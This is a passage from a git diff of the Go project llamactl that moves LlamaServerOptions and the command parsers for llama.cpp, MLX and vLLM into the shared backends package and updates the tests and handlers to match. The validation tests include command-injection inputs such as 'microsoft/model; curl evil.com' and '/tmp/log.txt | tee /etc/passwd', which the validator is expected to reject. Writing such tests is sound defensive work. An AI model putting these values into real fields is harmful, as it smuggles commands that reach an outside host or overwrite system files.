 			Port:  8080,
 		},
diff --git a/pkg/manager/operations_test.go b/pkg/manager/operations_test.go
index 56b8b3b..fd1e62a 100644
--- a/pkg/manager/operations_test.go
+++ b/pkg/manager/operations_test.go
@@ -2,7 +2,6 @@ package manager_test
 
 import (
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
@@ -15,7 +14,7 @@ func TestCreateInstance_Success(t *testing.T) {
 
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -42,7 +41,7 @@ func TestCreateInstance_ValidationAndLimits(t *testing.T) {
 	mngr := createTestManager()
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -98,7 +97,7 @@ func TestPortManagement(t *testing.T) {
 	// Test auto port assignment
 	options1 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -116,7 +115,7 @@ func TestPortManagement(t *testing.T) {
 	// Test port conflict detection
 	options2 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model2.gguf",
 			Port:  port1, // Same port - should conflict
 		},
@@ -134,7 +133,7 @@ func TestPortManagement(t *testing.T) {
 	specificPort := 8080
 	options3 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  specificPort,
 		},
@@ -162,7 +161,7 @@ func TestInstanceOperations(t *testing.T) {
 
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -185,7 +184,7 @@ func TestInstanceOperations(t *testing.T) {
 	// Update instance
 	newOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/new-model.gguf",
 			Port:  8081,
 		},
diff --git a/pkg/manager/timeout_test.go b/pkg/manager/timeout_test.go
index 8c30d5d..54a342a 100644
--- a/pkg/manager/timeout_test.go
+++ b/pkg/manager/timeout_test.go
@@ -2,7 +2,6 @@ package manager_test
 
 import (
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
@@ -37,7 +36,7 @@ func TestTimeoutFunctionality(t *testing.T) {
 	options := &instance.Options{
 		IdleTimeout: &idleTimeout,
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -86,7 +85,7 @@ func TestTimeoutFunctionality(t *testing.T) {
 	// Test that instance without timeout doesn't timeout
 	noTimeoutOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 		// No IdleTimeout set
@@ -117,21 +116,21 @@ func TestEvictLRUInstance_Success(t *testing.T) {
 	// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
 	options1 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model1.gguf",
 		},
 		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
 	}
 	options2 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model2.gguf",
 		},
 		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
 	}
 	options3 := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model3.gguf",
 		},
 		IdleTimeout: func() *int { timeout := 1; return &timeout }(), // Any value > 0
@@ -199,7 +198,7 @@ func TestEvictLRUInstance_NoEligibleInstances(t *testing.T) {
 	createInstanceWithTimeout := func(manager manager.InstanceManager, name, model string, timeout *int) *instance.Instance {
 		options := &instance.Options{
 			BackendType: backends.BackendTypeLlamaCpp,
-			LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			LlamaServerOptions: &backends.LlamaServerOptions{
 				Model: model,
 			},
 			IdleTimeout: timeout,
diff --git a/pkg/server/handlers_backends.go b/pkg/server/handlers_backends.go
index 6fa833c..bd9cd3c 100644
--- a/pkg/server/handlers_backends.go
+++ b/pkg/server/handlers_backends.go
@@ -4,9 +4,6 @@ import (
 	"encoding/json"
 	"fmt"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
-	"llamactl/pkg/backends/mlx"
-	"llamactl/pkg/backends/vllm"
 	"llamactl/pkg/instance"
 	"net/http"
 	"os/exec"
@@ -130,7 +127,7 @@ func (h *Handler) ParseLlamaCommand() http.HandlerFunc {
 			writeError(w, http.StatusBadRequest, "invalid_command", "Command cannot be empty")
 			return
 		}
-		llamaOptions, err := llamacpp.ParseLlamaCommand(req.Command)
+		llamaOptions, err := backends.ParseLlamaCommand(req.Command)
 		if err != nil {
 			writeError(w, http.StatusBadRequest, "parse_error", err.Error())
 			return
@@ -179,7 +176,7 @@ func (h *Handler) ParseMlxCommand() http.HandlerFunc {
 			return
 		}
 
-		mlxOptions, err := mlx.ParseMlxCommand(req.Command)
+		mlxOptions, err := backends.ParseMlxCommand(req.Command)
 		if err != nil {
 			writeError(w, http.StatusBadRequest, "parse_error", err.Error())
 			return
@@ -233,7 +230,7 @@ func (h *Handler) ParseVllmCommand() http.HandlerFunc {
 			return
 		}
 
-		vllmOptions, err := vllm.ParseVllmCommand(req.Command)
+		vllmOptions, err := backends.ParseVllmCommand(req.Command)
 		if err != nil {
 			writeError(w, http.StatusBadRequest, "parse_error", err.Error())
 			return
diff --git a/pkg/validation/validation_test.go b/pkg/validation/validation_test.go
index 759ebc3..d772b21 100644
--- a/pkg/validation/validation_test.go
+++ b/pkg/validation/validation_test.go
@@ -2,7 +2,6 @@ package validation_test
 
 import (
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/testutil"
 	"llamactl/pkg/validation"
@@ -85,7 +84,7 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
 		t.Run(tt.name, func(t *testing.T) {
 			options := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Port: tt.port,
 				},
 			}
@@ -139,7 +138,7 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
 			// Test with Model field (string field)
 			options := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: tt.value,
 				},
 			}
@@ -177,7 +176,7 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
 			// Test with Lora field (array field)
 			options := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Lora: tt.array,
 				},
 			}
@@ -201,7 +200,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 			name: "injection in model field",
 			options: &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:  "safe.gguf",
 					HFRepo: "microsoft/model; curl evil.com",
 				},
@@ -212,7 +211,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 			name: "injection in log file",
 			options: &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:   "safe.gguf",
 					LogFile: "/tmp/log.txt | tee /etc/passwd",
 				},
@@ -223,7 +222,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 			name: "all safe fields",
 			options: &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model:   "/path/to/model.gguf",
 					HFRepo:  "microsoft/DialoGPT-medium",
 					LogFile: "/tmp/llama.log",
@@ -252,7 +251,7 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 		MaxRestarts:  testutil.IntPtr(5),
 		RestartDelay: testutil.IntPtr(10),
 		BackendType:  backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Port:        8080,
 			GPULayers:   32,
 			CtxSize:     4096,